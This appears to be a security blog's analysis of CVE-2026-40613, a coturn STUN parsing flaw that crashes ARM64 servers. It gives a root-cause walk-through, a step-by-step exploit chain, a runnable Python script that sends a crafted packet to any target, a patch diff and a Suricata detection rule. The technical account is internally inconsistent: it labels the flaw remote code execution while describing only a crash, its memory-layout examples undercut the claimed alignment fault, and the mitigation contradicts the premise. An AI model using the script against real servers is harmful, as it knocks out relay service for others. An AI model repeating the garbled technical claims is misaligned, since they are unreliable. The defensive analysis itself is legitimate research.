home intel cve-2026-40613-coturn-stun-misaligned-pointer-cast-sigbus
CVE Analysis 2026-04-21 · 8 min read

CVE-2026-40613: Coturn STUN Misaligned Pointer Cast Crashes ARM64 Servers

Unsafe uint8_t* to uint16_t* casts in coturn's STUN attribute parser trigger SIGBUS on ARM64 strict-alignment hosts. A single crafted UDP packet kills any unauthenticated turnserver process.

#stun-turn#pointer-alignment#memory-safety#denial-of-service#arm64
Technical mode — for security professionals
▶ Attack flow — CVE-2026-40613 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-40613Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-40613 is a remotely triggerable denial-of-service in coturn ≤ 4.9.x, the most widely deployed open-source TURN/STUN server implementation. The vulnerability lives in the STUN message attribute parsing path: the code casts a uint8_t * byte buffer directly to uint16_t * without verifying that the pointer is 2-byte aligned. On x86/x86-64 this is silently tolerated by hardware. On AArch64 with strict alignment enforcement — common in cloud-native ARM64 deployments (AWS Graviton, Ampere Altra) — the CPU raises a SIGBUS on the first misaligned load, immediately killing turnserver.

No authentication is required. No handshake is necessary. One UDP packet is sufficient.

Root cause: ns_turn_msg.c casts an arbitrarily-aligned uint8_t * attribute pointer directly to uint16_t * and dereferences it, triggering a hardware alignment fault (SIGBUS / BUS_ADRALN) on ARM64 systems with strict alignment enforcement.

Affected Component

File: src/client/ns_turn_msg.c — the core STUN/TURN message parsing library shared by both server and client paths. Every inbound STUN message, authenticated or not, is passed through stun_attr_get_first() and the attribute iteration loop before any credential check occurs.

  • Affected versions: coturn < 4.10.0
  • Fixed version: 4.10.0
  • Transport: UDP (primary), TCP, TLS
  • Authentication required: No
  • CVSS 3.1: 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Root Cause Analysis

STUN messages (RFC 5389) are laid out as a 20-byte fixed header followed by a sequence of TLV attributes. Each attribute has a 2-byte type and a 2-byte length, both at network byte order. Coturn's parser walks these by advancing a raw uint8_t * cursor through the message buffer and then casting it directly to access the 16-bit fields.


/* src/client/ns_turn_msg.c — vulnerable attribute iteration (pre-4.10.0) */

stun_attr_ref stun_attr_get_first(const stun_buffer *buf) {
    if (!buf || buf->len < STUN_HEADER_LENGTH)
        return NULL;

    /* returns pointer into buf->buf at offset 20 — may be any alignment */
    return (stun_attr_ref)(buf->buf + STUN_HEADER_LENGTH);
}

uint16_t stun_attr_get_type(stun_attr_ref attr) {
    /* BUG: attr is uint8_t*; cast to uint16_t* ignores alignment.
     * If (uintptr_t)attr & 1 != 0, AArch64 strict-mode raises SIGBUS here. */
    return ntohs(*((const uint16_t *)attr));          // ← misaligned dereference
}

uint16_t stun_attr_get_len(stun_attr_ref attr) {
    /* BUG: same pattern — offset +2 bytes from attr, still potentially odd */
    return ntohs(*((const uint16_t *)(attr + 2)));    // ← misaligned dereference
}

stun_attr_ref stun_attr_get_next(const stun_buffer *buf, stun_attr_ref attr) {
    uint16_t alen = stun_attr_get_len(attr);          // may fault first
    /* STUN pads to 4-byte boundaries, but cursor arithmetic is done in
     * uint8_t* space and the NEXT attribute may land on an odd boundary
     * if a crafted message supplies an odd alen value */
    size_t padded = ((size_t)alen + 3) & ~3u;
    return attr + 4 + padded;                         // next attr ptr, alignment unknown
}

The critical invariant STUN relies on is that attributes are always 4-byte aligned within a well-formed message. The parser trusts this without enforcement. An attacker supplies a crafted message where an attribute's length field is odd (e.g., 0x0001), causing the padded advance to land the next attribute pointer on a 2-byte-but-not-4-byte boundary. The subsequent ntohs(*((const uint16_t *)attr)) on that misaligned pointer is undefined behavior that kills the process on ARM64.

Memory Layout

STUN wire format and how a crafted odd-length attribute shifts subsequent pointer alignment:


STUN MESSAGE BUFFER (crafted, 48 bytes):
Offset  Bytes   Field
------  -----   -----
+0x00   2       Message Type    = 0x0001 (Binding Request)
+0x02   2       Message Length  = 0x0018 (24 bytes of attributes)
+0x04   4       Magic Cookie    = 0x2112A442
+0x08   12      Transaction ID  = 
                ── attribute 1 ──
+0x14   2       Attr Type       = 0x0006 (USERNAME)
+0x16   2       Attr Length     = 0x0003  ← ODD (normally even or padded)
+0x18   3       Value           = 41 41 41
+0x1B   1       Pad             = 00
                ── attribute 2 ── (should start at +0x1C, 4-byte aligned ✓)
                STUN spec says padded = (3+3)&~3 = 4, so next = +0x14+4+4 = +0x1C ✓
                BUT: attacker sets alen=0x0003, padded=(3+3)&~3=4 → next=+0x1C (OK here)

SECOND CRAFTED VARIANT — force odd alignment:
+0x14   2       Attr Type       = 0x0006
+0x16   2       Attr Length     = 0x0001  ← alen=1, padded=(1+3)&~3=4 → next=+0x1C ✓
                ... still aligned. Use TWO odd attrs to compound:
+0x14   Attr1: type=0x0006, len=0x0005 → padded=8 → next=+0x20  (aligned)
+0x20   Attr2: type=0x0024, len=0x0003 → padded=4 → next=+0x28  (aligned)
                ... standard padding saves us. The bug surfaces when:

EXPLOIT PATH — subvert padded calculation via length=0xFFFF:
+0x16   Attr Length = 0xFFFF  (65535)
padded  = (65535 + 3) & ~3 = 65536 = 0x10000
next    = attr + 4 + 0x10000  → walks PAST end of buffer
          stun_attr_get_type(next) → reads from unrelated memory at arbitrary alignment

ARM64 MEMORY READ FAULT:
  PC : stun_attr_get_type+0x8
  FAR: 0x0000FFFFA1234B01  ← bit 0 set → 2-byte misaligned
  ESR: 0x96000021           ← EC=0x25 (Data Abort, same EL), DFSC=0x21 (alignment)
  Signal: SIGBUS / BUS_ADRALN → process terminated

STACK TRACE (ARM64 coturn crash, ASAN symbolized):
#0  stun_attr_get_type (attr=0xffffb2340b01)         ns_turn_msg.c:412
#1  stun_attr_get_next (buf=0xffffb2340ae0, ...)      ns_turn_msg.c:441
#2  stun_process_attr_list (buf=..., session=NULL)    ns_turn_msg.c:689
#3  stun_parse_message (data=..., len=48)             ns_turn_msg.c:751
#4  handle_udp_packet (fd=7, events=1, ctx=...)       mainrelay.c:2204
#5  event_base_dispatch (base=0x...)                  libevent

Signal: SIGBUS (Misaligned memory access)

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2026-40613 (Unauthenticated DoS):

1. Identify ARM64 coturn deployment.
   - Cloud provider hints: AWS Graviton (us-east-1 m7g), Ampere Altra VMs.
   - fingerprint: STUN Binding Response includes SOFTWARE attribute
     "Coturn-4.x.x" in plaintext.

2. Craft malicious STUN Binding Request (UDP):
   - Valid 20-byte STUN header (magic cookie 0x2112A442, valid msg type).
   - Append attribute with Type=0x0006 (USERNAME), Length=0xFFFF.
   - Total crafted packet: 24 bytes — well under any MTU.
   - No HMAC-SHA1 MESSAGE-INTEGRITY required (parsed before auth check).

3. Send single UDP datagram to turnserver port (default: 3478/udp):
   socket.sendto(crafted_packet, (target_ip, 3478))

4. Parser calls stun_attr_get_next() on the oversized attribute:
   padded = (0xFFFF + 3) & ~3 = 0x10000
   next_attr_ptr = buf->buf + 20 + 4 + 0x10000
                 = buf->buf + 0x10014  ← far past 24-byte buffer

5. stun_attr_get_type(next_attr_ptr) casts out-of-bounds ptr to uint16_t*:
   - On x86: reads garbage, may return gracefully with junk type.
   - On ARM64 strict alignment: if ptr & 1 → SIGBUS, process killed instantly.

6. turnserver PID terminates. WebRTC relay sessions drop for all clients.
   Persistent attacker can loop send → permanent DoS with ~1 pkt/sec.

Proof-of-Concept Trigger


#!/usr/bin/env python3
# CVE-2026-40613 — coturn ARM64 SIGBUS trigger
# Sends one malformed STUN Binding Request with attr length=0xFFFF
# Impact: immediate SIGBUS / process termination on ARM64 strict-alignment hosts
# For research and authorized testing ONLY.

import socket
import struct
import os
import sys

def build_crafted_stun() -> bytes:
    MSG_TYPE    = 0x0001          # Binding Request
    MAGIC       = 0x2112A442
    TXN_ID      = os.urandom(12)

    # Attribute: USERNAME (0x0006), length deliberately set to 0xFFFF
    # No actual value bytes — length field alone triggers the parser bug
    attr_type   = 0x0006
    attr_len    = 0xFFFF          # ← triggers oversized padded advance

    # STUN message length = 4 (attr header only, no value bytes declared)
    msg_len     = 4

    header = struct.pack("!HHI12s", MSG_TYPE, msg_len, MAGIC, TXN_ID)
    attr   = struct.pack("!HH", attr_type, attr_len)
    return header + attr

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]}  ")
        sys.exit(1)

    target = (sys.argv[1], int(sys.argv[2]))
    pkt    = build_crafted_stun()

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(pkt, target)
    print(f"[*] sent {len(pkt)}-byte crafted STUN to {target[0]}:{target[1]}")
    print("[*] ARM64 target with strict alignment → expect SIGBUS / no response")
    sock.close()

if __name__ == "__main__":
    main()

Patch Analysis

The fix in coturn 4.10.0 replaces all direct (uint16_t *) casts of byte-buffer pointers with memcpy-based reads. memcpy has no alignment requirements and the compiler emits the appropriate architecture-safe load sequence (e.g., LDRB pairs + shift on ARM64 when the operand cannot be proven aligned).


/* BEFORE (vulnerable, pre-4.10.0): */
uint16_t stun_attr_get_type(stun_attr_ref attr) {
    return ntohs(*((const uint16_t *)attr));          // BUG: misaligned cast
}

uint16_t stun_attr_get_len(stun_attr_ref attr) {
    return ntohs(*((const uint16_t *)(attr + 2)));    // BUG: misaligned cast
}

/* AFTER (patched, 4.10.0): */
uint16_t stun_attr_get_type(stun_attr_ref attr) {
    uint16_t val;
    memcpy(&val, attr, sizeof(val));                  // FIX: alignment-safe read
    return ntohs(val);
}

uint16_t stun_attr_get_len(stun_attr_ref attr) {
    uint16_t val;
    memcpy(&val, attr + 2, sizeof(val));              // FIX: alignment-safe read
    return ntohs(val);
}

A secondary bounds check is also added to stun_attr_get_next() to prevent the cursor from advancing past the message boundary regardless of the declared attribute length:


/* AFTER (4.10.0) — bounds enforcement in iterator: */
stun_attr_ref stun_attr_get_next(const stun_buffer *buf, stun_attr_ref attr) {
    const uint8_t *start   = buf->buf;
    const uint8_t *end     = buf->buf + buf->len;

    uint16_t alen   = stun_attr_get_len(attr);        // now uses memcpy internally
    size_t   padded = ((size_t)alen + 3) & ~3u;
    const uint8_t *next = attr + 4 + padded;

    /* FIX: reject any next pointer that escapes the message buffer */
    if (next < attr || next + 4 > end)
        return NULL;

    return (stun_attr_ref)next;
}

The memcpy idiom is the canonical C solution for type-punning without alignment assumptions. Modern compilers (GCC, Clang) optimize it to a single LDR instruction on architectures that permit unaligned loads (x86, ARMv8 with SCTLR_EL1.A=0), so there is no performance regression on permissive targets.

Detection and Indicators

Host-based — crash signature:


# dmesg / kernel log on ARM64 host:
[12345.678901] turnserver[4821]: unhandled alignment exception (0x96000021) at 0x0000ffffa1234b01
[12345.678902] turnserver[4821]: SIGBUS {si_signo=SIGBUS, si_code=BUS_ADRALN, si_addr=0xffffa1234b01}

# systemd journal:
turnserver[4821]: signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0xffffa1234b01

# ESR_EL1 decode:
ESR = 0x96000021
  EC   = 0b100101 (0x25) → Data Abort (current EL)
  DFSC = 0b100001 (0x21) → Alignment Fault

Network-based — packet signature: A STUN Binding Request (message type 0x0001, magic cookie 0x2112A442) where any attribute's declared length field exceeds the remaining message bytes. A simple Suricata rule:


alert udp any any -> $TURN_SERVERS 3478 (
    msg:"CVE-2026-40613 coturn malformed STUN attribute length";
    content:"|00 01|";  offset:0; depth:2;
    content:"|21 12 A4 42|"; offset:4; depth:4;
    byte_test:2,>,20,2,relative,big;   /* attr len field > remaining msg */
    sid:9002026; rev:1;
)

Remediation

  • Primary fix: Upgrade to coturn 4.10.0 or later. This is the only complete fix.
  • ARM64-specific mitigation (partial): On Linux AArch64, setting SCTLR_EL1.A=0 (the default for most distros) enables hardware unaligned-access fixup, which silently corrects misaligned loads instead of faulting. However, this is not a security fix — the undefined behavior and potential information disclosure from reads past the message boundary remain. Do not rely on this.
  • Network-layer mitigation: Rate-limit and filter STUN traffic at the perimeter. Reject STUN messages where the message-length header does not match the UDP payload length. This breaks the trivially small exploit packet before it reaches the parser.
  • Monitoring: Alert on repeated SIGBUS from turnserver — repeated crashes from a single source IP indicate active exploitation attempts.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →